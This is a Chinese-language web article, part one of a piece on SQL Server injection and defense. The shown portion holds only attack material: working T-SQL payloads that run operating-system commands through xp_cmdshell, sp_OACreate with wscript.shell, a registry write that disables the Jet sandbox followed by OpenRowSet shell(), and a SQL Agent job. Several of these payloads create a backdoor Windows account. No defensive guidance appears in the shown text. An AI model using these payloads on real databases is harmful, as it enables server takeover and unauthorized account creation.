程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> SQL Server 注入大全及防御(1)

SQL Server 注入大全及防御(1)

編輯:關於SqlServer


  SQL Server是中小型網站廣泛使用的數據庫,由於功能強大也滋生了很多安全問題,國內又因為SQL注入攻擊的很長一段時間流行,導致對SQL Server的入侵技巧也層出不窮,由於SQL Server支持多語句,相信很多小黑在對SQL Server進去SQL注入的時候很少使用猜解表名之類的方法,而直接轉向使用SQL Server的存儲過程和函數快速的拿權限,下面我就圍繞SQL Server的系統存儲過程和函數來介紹這些黑客技巧。

  一、執行系統命令

  利用存儲過程我們可以快速方便的獲取一個shell,如執行系統命令,存儲擴展調用如下:

  exec master..xp_cmdshell 'net user ray ray /add'

  xp_cmdshell是SQL Server自帶的系統命令存儲過程,默認情況下只有SYSADMIN服務器角色才能執行。

  

  利用OLE對象接口,SQL Server提供了一些函數訪問OLE對象,分別是sp_OACREATE和sp_OAMethod,可以利用他們調用OLE控件,間接獲取一個shell。使用SP_OAcreate調用對象wscript。shell賦給變量@shell,然後使用SP_OAMETHOD調用@shell的屬性run執行命令。

  DECLARE @shell INT

  EXEC SP_OAcreate 'wscript.shell',@shell out

  EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'

  

  開啟access的沙盒模式,在默認情況下Jet數據引擎不支持select shell("net user ray ray /add")這樣的SQL語句,但是開啟了JET引擎的沙盒模式後就可以執行命令,先利用xp_regwrite存儲過程改寫注冊表,然後利用OpenRowSet訪問一個系統本身自帶的一個Access數據庫文件,再執行運行命令的SQL語句。

  EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MacHINE','SoftWare\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWord',0

  

  Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\Windows\system32\ias\ias.mdb','select shell("net user ray ray /add")');

  

  除開這些,還可以利用SQL代理執行命令,當然必須先開啟SQL代理服務,默認情況下這個服務是關閉的.我們可以先利用xp_servicecontrol開啟SQLSERVERAGENT,然後建立個SQL計劃任務,然後馬上運行這個任務。

  exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

  use msdb exec sp_delete_job null,'x'

  exec sp_add_job 'x'

  exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:\'

  exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved